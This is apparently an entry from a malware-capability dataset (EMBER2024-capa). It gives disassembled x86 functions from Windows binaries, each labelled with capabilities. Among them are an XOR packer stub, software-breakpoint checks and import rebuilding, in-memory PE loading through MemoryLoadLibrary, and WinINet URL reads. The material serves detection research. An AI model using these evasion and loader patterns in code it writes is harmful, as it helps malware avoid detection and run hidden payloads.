joyce8/EMBER2024-capa huggingface dataset:
Function at 0x412565
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004123e4

Function at 0x41695c
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004162ca

Function at 0x416967
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00416505

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403e6a
nop
nop
sub eax, 0x403e10
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x431030
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
popal
nop
nop
jmp int.00401219

Function at 0x1000103f
Capabilities:
Enumerate gui resources
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
xor ebx, ebx
push ebx
push 0x100401
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, ebx
je 0x100010cb
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], ebx
cmp dword [ebp + 0xc], ebx
je 0x100010ac
lea eax, [ebp - 0xc]
push eax
push 0x10001007
call dword [sym.imp.USER32.dll_EnumWindows]
cmp dword [ebp - 8], ebx
je 0x100010ac
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x100010a7
cmp dword [ebp - 4], 0x103
jne 0x100010a7
push 0xbb8
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x100010ac
mov eax, dword [ebp + 0x10]
jmp 0x100010be
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
mov eax, dword [ebp + 0x10]
jne 0x100010be
mov eax, dword [ebp + 0x14]
push edi
mov dword [eax], 1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x45f072
Capabilities:
Check for software breakpoints

Disassembly:
push eax
call 0x45f078
pop ebx
sub ebx, 0x1a2
mov ecx, 0x1ced6
sub ebx, ecx
mov esi, ebx
sub ebx, 0x41000
mov edi, ebx
sub ebx, 0x1000
push edi
push ecx
push esi
call fcn.0045ef27
add esp, 0xc
mov ebp, dword [ebx + 0xc0]
lea ebp, [ebx + ebp]
dec ebp
mov cl, byte [ebp]
cmp cl, 0xcc
je 0x45f0aa
sub ebp, 9
mov edx, ebx
sub edx, 0x400000
add dword [ebp], edx
add ebp, 6
add dword [ebp], edx
lea edx, [eax - 4]
sub edx, dword [edx]
mov esi, ebx
add esi, dword [edx + 0x10c]
mov edi, dword [edx + 0x104]
mov ecx, 0x2980c
call fcn.0045f048
mov esi, dword [edx + 0x80]
push edx
add esi, ebx
mov eax, dword [esi + 0xc]
or eax, eax
je 0x45f137
add eax, ebx
push eax
call sub.kernel32.dll_LoadLibraryA
mov ebp, eax
mov ecx, dword [esi]
add ecx, ebx
mov edi, dword [esi + 0x10]
add edi, ebx
mov eax, dword [ecx]
or eax, eax
je 0x45f132
pushal
test eax, 0x80000000
je 0x45f11c
and eax, 0x7fffffff
jmp 0x45f120
lea eax, [ebx + eax + 2]
push eax
push ebp
call sub.kernel32.dll_GetProcAddress
mov dword [edi], eax
popal
add edi, 4
add ecx, 4
jmp 0x45f107
add esi, 0x14
jmp 0x45f0ed
pop edx
mov ebp, ebx
sub ebp, dword [edx + 0x34]
mov esi, dword [edx + 0xa0]
add esi, ebx
cmp esi, ebx
je 0x45f181
push edx
mov eax, dword [esi + 4]
or eax, eax
je 0x45f180
mov ecx, dword [esi]
add ecx, ebx
add esi, 8
sub eax, 8
shr eax, 1
mov edx, esi
lea edi, [eax + esi]
lea esi, [eax + edi]
xor eax, eax
add al, byte [edx]
adc ah, byte [edi]
test ah, 0x30
je 0x45f178
push eax
and ah, 0xf
add dword [ecx + eax], ebp
pop eax
inc edx
inc edi
cmp edi, esi
jb 0x45f167
jmp 0x45f14a
pop edx
pop eax
cmp eax, 0xd0dec0de
je 0x45f18e
add ebx, dword [edx + 0x28]
jmp ebx
ret 0xc
Function at 0x100047c0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
test ebx, ebx
jne 0x100047d9
lea eax, [ebx + 0xd]
pop ebx
mov esp, ebp
pop ebp
ret 8
push esi
push edi
xor esi, esi
mov edx, ebx
nop
mov eax, edx
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100047e5
sub eax, edi
inc eax
add edx, eax
add esi, eax
cmp eax, 1
jne 0x100047e0
mov eax, dword [ebp - 4]
push esi
push ebx
push 7
push 0
push dword [ebp + 8]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x10005640
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
test eax, eax
jne 0x1000564c
pop ebp
ret
mov dword [ebp + 0xc], eax
pop ebp
jmp fcn.10005660
Function at 0x10006300
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, dword [edi + 0x2c]
lea ecx, [ecx]
mov edx, dword [edi + 0x3c]
sub edx, dword [edi + 0x74]
mov eax, dword [edi + 0x2c]
sub edx, dword [edi + 0x6c]
add eax, 0xfffffefa
add eax, esi
mov dword [ebp + 8], edx
cmp dword [edi + 0x6c], eax
jb 0x1000638c
mov ecx, dword [edi + 0x38]
push esi
lea eax, [ecx + esi]
push eax
push ecx
call fcn.1000f5e0
mov edx, dword [edi + 0x4c]
mov eax, dword [edi + 0x44]
sub dword [edi + 0x70], esi
sub dword [edi + 0x6c], esi
add esp, 0xc
sub dword [edi + 0x5c], esi
lea ecx, [eax + edx*2]
mov edi, edi
movzx eax, word [ecx - 2]
lea ecx, [ecx - 2]
cmp eax, esi
jb 0x1000635f
sub eax, esi
jmp 0x10006361
xor eax, eax
mov word [ecx], ax
dec edx
jne 0x10006350
mov eax, dword [edi + 0x40]
mov edx, esi
lea ecx, [eax + esi*2]
nop
movzx eax, word [ecx - 2]
lea ecx, [ecx - 2]
cmp eax, esi
jb 0x1000637f
sub eax, esi
jmp 0x10006381
xor eax, eax
mov word [ecx], ax
dec edx
jne 0x10006370
mov edx, dword [ebp + 8]
add edx, esi
mov ebx, dword [edi]
cmp dword [ebx + 4], 0
je 0x10006441
mov eax, dword [edi + 0x74]
add eax, dword [edi + 0x6c]
add eax, dword [edi + 0x38]
mov dword [ebp - 4], eax
mov eax, dword [ebx + 4]
cmp eax, edx
mov ecx, eax
cmova ecx, edx
mov dword [ebp + 8], ecx
test ecx, ecx
jne 0x100063b9
xor eax, eax
jmp 0x10006405
sub eax, ecx
mov dword [ebx + 4], eax
mov eax, dword [ebx + 0x1c]
mov eax, dword [eax + 0x18]
cmp eax, 1
jne 0x100063d6
push ecx
push dword [ebx]
push dword [ebx + 0x30]
call section..text
jmp 0x100063e6
cmp eax, 2
jne 0x100063ef
push ecx
push dword [ebx]
push dword [ebx + 0x30]
call fcn.10005640
mov ecx, dword [ebp + 8]
mov dword [ebx + 0x30], eax
add esp, 0xc
push ecx
push dword [ebx]
push dword [ebp - 4]
call fcn.1000f5e0
mov eax, dword [ebp + 8]
add dword [ebx], eax
add esp, 0xc
add dword [ebx + 8], eax
add dword [edi + 0x74], eax
mov ebx, dword [edi + 0x74]
cmp ebx, 3
jb 0x1000642d
mov eax, dword [edi + 0x38]
add eax, dword [edi + 0x6c]
mov ecx, dword [edi + 0x58]
movzx edx, byte [eax]
mov dword [edi + 0x48], edx
movzx eax, byte [eax + 1]
shl edx, cl
xor edx, eax
and edx, dword [edi + 0x54]
mov dword [edi + 0x48], edx
cmp ebx, 0x106
jae 0x10006441
mov eax, dword [edi]
cmp dword [eax + 4], 0
jne 0x10006310
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006d30
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.1000f410
mov eax, dword [0x1002e678]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x1004]
push eax
call fcn.10010970
add esp, 0xc
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000ef85
mov esp, ebp
pop ebp
ret
Function at 0x10007630
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10020770
mov eax, dword fs:[0]
push eax
sub esp, 0x44
mov eax, dword [0x1002e678]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x34], 0xf
mov dword [ebp - 0x38], 0
mov byte [ebp - 0x48], 0
lea edx, [ebp - 0x4c]
push edx
push 0xf003f
push 0
push eax
push ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10007750
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push edi
push dword [ebp - 0x4c]
mov dword [ebp - 0x18], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10007750
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x30], al
mov eax, dword [ebp - 0x14]
mov byte [ebp - 4], 1
test eax, eax
jne 0x100076ee
mov dword [ebp - 0x20], eax
mov byte [ebp + eax - 0x30], al
jmp 0x100076f9
push 0
push eax
lea ecx, [ebp - 0x30]
call fcn.10007b10
cmp dword [ebp - 0x1c], 0x10
lea ecx, [ebp - 0x14]
push ecx
lea eax, [ebp - 0x30]
cmovae eax, dword [ebp - 0x30]
push eax
lea eax, [ebp - 0x18]
push eax
push 0
push edi
push dword [ebp - 0x4c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000773b
lea eax, [ebp - 0x30]
push eax
mov ecx, esi
call fcn.10006a00
cmp dword [ebp - 0x1c], 0x10
jb 0x1000776f
push dword [ebp - 0x30]
call fcn.1000dde0
add esp, 4
jmp 0x1000776f
cmp dword [ebp - 0x1c], 0x10
mov byte [ebp - 4], 0
jb 0x10007750
push dword [ebp - 0x30]
call fcn.1000dde0
add esp, 4
push 0
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
push 0x10021636
mov ecx, esi
mov byte [esi], 0
call fcn.10005070
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000ef85
mov esp, ebp
pop ebp
ret
Function at 0x100081d0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3810
call fcn.1000f410
mov eax, dword [0x1002e678]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
push 0
push 0
push 0
push 0
push esi
mov dword [ebp - 0x3810], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x4000000
push 0
push 0
mov ebx, eax
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
push 0xfff
lea eax, [ebp - 0x3803]
push 0
push eax
mov dword [ebp - 0x380c], esi
mov byte [ebp - 0x3804], 0
call fcn.1000fc30
add esp, 0xc
lea eax, [ebp - 0x3808]
push eax
push 0x1000
lea eax, [ebp - 0x3804]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
push 0x27ff
lea eax, [ebp - 0x2803]
push 0
push eax
mov byte [ebp - 0x2804], 0
call fcn.1000fc30
push 0x2800
lea eax, [ebp - 0x2804]
push eax
lea eax, [ebp - 0x3804]
push eax
call fcn.10007790
mov dword [edi + 0x14], 0xf
mov dword [edi + 0x10], 0
add esp, 0x18
mov byte [edi], 0
cmp byte [ebp - 0x2804], 0
jne 0x100082b0
xor ecx, ecx
jmp 0x100082c9
lea ecx, [ebp - 0x2804]
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100082c0
sub ecx, edx
push ecx
lea eax, [ebp - 0x2804]
push eax
mov ecx, edi
call fcn.10005070
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push dword [ebp - 0x380c]
call esi
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000ef85
mov esp, ebp
pop ebp
ret
Function at 0x1000aa10
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x1000aa32
push 0xc1
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [eax + 0x3c]
add ebx, eax
cmp dword [ebx], 0x4550
je 0x1000aa52
push 0xc1
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x3000
push dword [ebx + 0x50]
push dword [ebx + 0x34]
call edi
mov esi, eax
mov dword [ebp - 4], esi
test esi, esi
jne 0x1000aa99
push 4
push 0x3000
push dword [ebx + 0x50]
push eax
call edi
mov esi, eax
mov dword [ebp - 4], eax
test esi, esi
jne 0x1000aa99
push 0xe
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0x24
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
jne 0x1000aace
push 0xe
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x8000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
mov dword [edi + 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [edi + 0x18], eax
mov eax, dword [ebp + 0x14]
push 4
mov dword [edi + 0x1c], eax
mov eax, dword [ebp + 0x18]
push 0x1000
mov dword [edi + 4], esi
mov dword [edi + 0xc], 0
mov dword [edi + 8], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x20], eax
push dword [ebx + 0x54]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, dword [ebx + 0x54]
push ecx
push eax
push esi
call fcn.1000f5e0
mov edx, dword [ebp + 8]
push edi
mov eax, dword [edx + 0x3c]
add eax, esi
mov esi, dword [ebp - 4]
push ebx
mov dword [edi], eax
push edx
mov dword [eax + 0x34], esi
call fcn.1000a7c0
mov eax, esi
add esp, 0x18
sub eax, dword [ebx + 0x34]
je 0x1000ab4e
push eax
push edi
call fcn.1000abb0
add esp, 8
push edi
call fcn.1000a650
add esp, 4
test eax, eax
je 0x1000ab8b
push edi
call fcn.1000a870
mov eax, dword [edi]
add esp, 4
mov eax, dword [eax + 0x28]
test eax, eax
je 0x1000aba4
add eax, esi
cmp dword [ebp + 0x1c], 0
jne 0x1000ab9d
push 0
push 1
push esi
call eax
test eax, eax
jne 0x1000ab9d
push 0x45a
call dword [sym.imp.KERNEL32.dll_SetLastError]
push edi
call fcn.1000a950
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [edi + 0x10], 1
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000b550
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x1002e678]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x1c]
push edi
push eax
call fcn.10007e00
add esp, 4
lea eax, [ebp - 0x1c]
push 1
sub esp, 0x18
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.10004f40
lea eax, [ebp - 0x3c]
push eax
call fcn.100083d0
mov esi, eax
lea eax, [ebp - 0x1c]
add esp, 0x20
cmp eax, esi
je 0x1000b5d5
cmp dword [ebp - 8], 0x10
jb 0x1000b5ba
push dword [ebp - 0x1c]
call fcn.1000dde0
add esp, 4
push esi
lea ecx, [ebp - 0x1c]
mov dword [ebp - 8], 0xf
mov dword [ebp - 0xc], 0
mov byte [ebp - 0x1c], 0
call fcn.100078e0
cmp dword [ebp - 0x28], 0x10
jb 0x1000b5e6
push dword [ebp - 0x3c]
call fcn.1000dde0
add esp, 4
cmp dword [ebp - 8], 0x10
push dword [0x10030184]
lea eax, [ebp - 0x1c]
cmovae eax, dword [ebp - 0x1c]
push eax
push str.GetPriority____pname:_s___hmodule:_s
call fcn.10006d30
mov edi, dword [ebp - 8]
mov ebx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0xc]
cmp edi, 0x10
lea ecx, [ebp - 0x1c]
cmovae ecx, ebx
mov eax, 0xc
cmp esi, eax
cmovb eax, esi
push eax
push str.explorer.exe
push ecx
call fcn.10007cf0
add esp, 0x18
test eax, eax
jne 0x1000b65d
cmp esi, 0xc
jb 0x1000b65d
cmp esi, 0xc
setne al
test eax, eax
jne 0x1000b65d
lea eax, [ebp - 0x20]
push eax
push 0
push 0
push 0x1000beb0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, dword [ebp - 8]
mov ebx, dword [ebp - 0x1c]
cmp edi, 0x10
jb 0x1000b66b
push ebx
call fcn.1000dde0
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.1000ef85
mov esp, ebp
pop ebp
ret 8
Function at 0x1000c3a0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x1002e678]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push SysReAllocString
push esi
mov dword [ebp - 0x14], 0
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x1000c401
call fcn.100075f0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str.uncompressandload__s_createfileA_error__d
call fcn.10006a90
add esp, 0xc
xor esi, esi
jmp 0x1000c532
push 0
push 0
push 0
push 2
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
jne 0x1000c43b
call fcn.100075f0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str.uncompressandload___s_CreateFileMappingA_error__d
call fcn.10006a90
add esp, 0xc
xor esi, esi
jmp 0x1000c53b
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x1000c46c
call fcn.100075f0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str.uncompressandload____s
call fcn.10006a90
add esp, 0xc
xor esi, esi
jmp 0x1000c532
push eax
push 0
push 0
push 4
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x1000c4a4
call fcn.100075f0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str.uncompressandload___s_MapViewOfFile_error__d
call fcn.10006a90
add esp, 0xc
xor esi, esi
jmp 0x1000c532
mov eax, dword [ebp - 0xc]
lea esi, [eax + eax*4]
push esi
call fcn.1000fdd8
push esi
mov edi, eax
push 0
push edi
mov dword [ebp - 8], esi
call fcn.1000fc30
mov esi, dword [ebp - 0xc]
push esi
push dword [ebp - 0x10]
lea eax, [ebp - 8]
push eax
push edi
call fcn.1000dce0
add esp, 0x20
mov dword [ebp - 0xc], eax
test eax, eax
je 0x1000c4fa
call fcn.100075f0
push esi
push dword [ebp - 0x10]
push dword [ebp - 8]
push edi
push dword [ebp - 0xc]
push str.uncompressandload
call fcn.10006a90
add esp, 0x18
xor esi, esi
jmp 0x1000c529
push 0
push edi
call fcn.1000a9e0
add esp, 8
mov dword [0x10030184], eax
test eax, eax
jne 0x1000c524
xor esi, esi
call fcn.100075f0
push str.uncompressandload_MemoryLoadLibrary_NULL
call fcn.10006a90
add esp, 4
jmp 0x1000c529
mov esi, 1
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0xffffffff
je 0x1000c547
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1000c554
push edi
call fcn.1000e3fd
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000ef85
mov esp, ebp
pop ebp
ret
Function at 0x100189cb
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1002e678]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.1001202d
mov dword [ebp - 0x14], eax
cmp dword [0x10030fa4], edi
jne 0x10018abc
push 0x800
push edi
push 0x10027190
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x10018a49
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x10018b9c
push 0x10027190
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x10018b9c
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10018b9c
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x10030fa4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x10030fa8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x10030fac], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10030fb4], eax
test eax, eax
je 0x10018ab9
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10030fb0], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x10018ae1
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x10018ad4
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x10018af6
push 4
pop eax
jmp 0x10018b9e
cmp dword [ebp - 0x14], edi
je 0x10018af6
push dword [0x10030fa4]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x10018adb
mov eax, dword [0x10030fb0]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x10018b54
cmp dword [0x10030fb4], esi
je 0x10018b54
push eax
call ebx
push dword [0x10030fb4]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x10018b54
test eax, eax
je 0x10018b54
call ecx
test eax, eax
je 0x10018b49
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x10018b49
test byte [ebp - 8], 1
jne 0x10018b54
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x10018b84
mov eax, dword [0x10030fa8]
cmp eax, esi
je 0x10018b81
push eax
call ebx
test eax, eax
je 0x10018b81
call eax
mov edi, eax
test edi, edi
je 0x10018b81
mov eax, dword [0x10030fac]
cmp eax, esi
je 0x10018b81
push eax
call ebx
test eax, eax
je 0x10018b81
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x10030fa4]
call ebx
test eax, eax
je 0x10018b9c
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x10018b9e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000ef85
leave
ret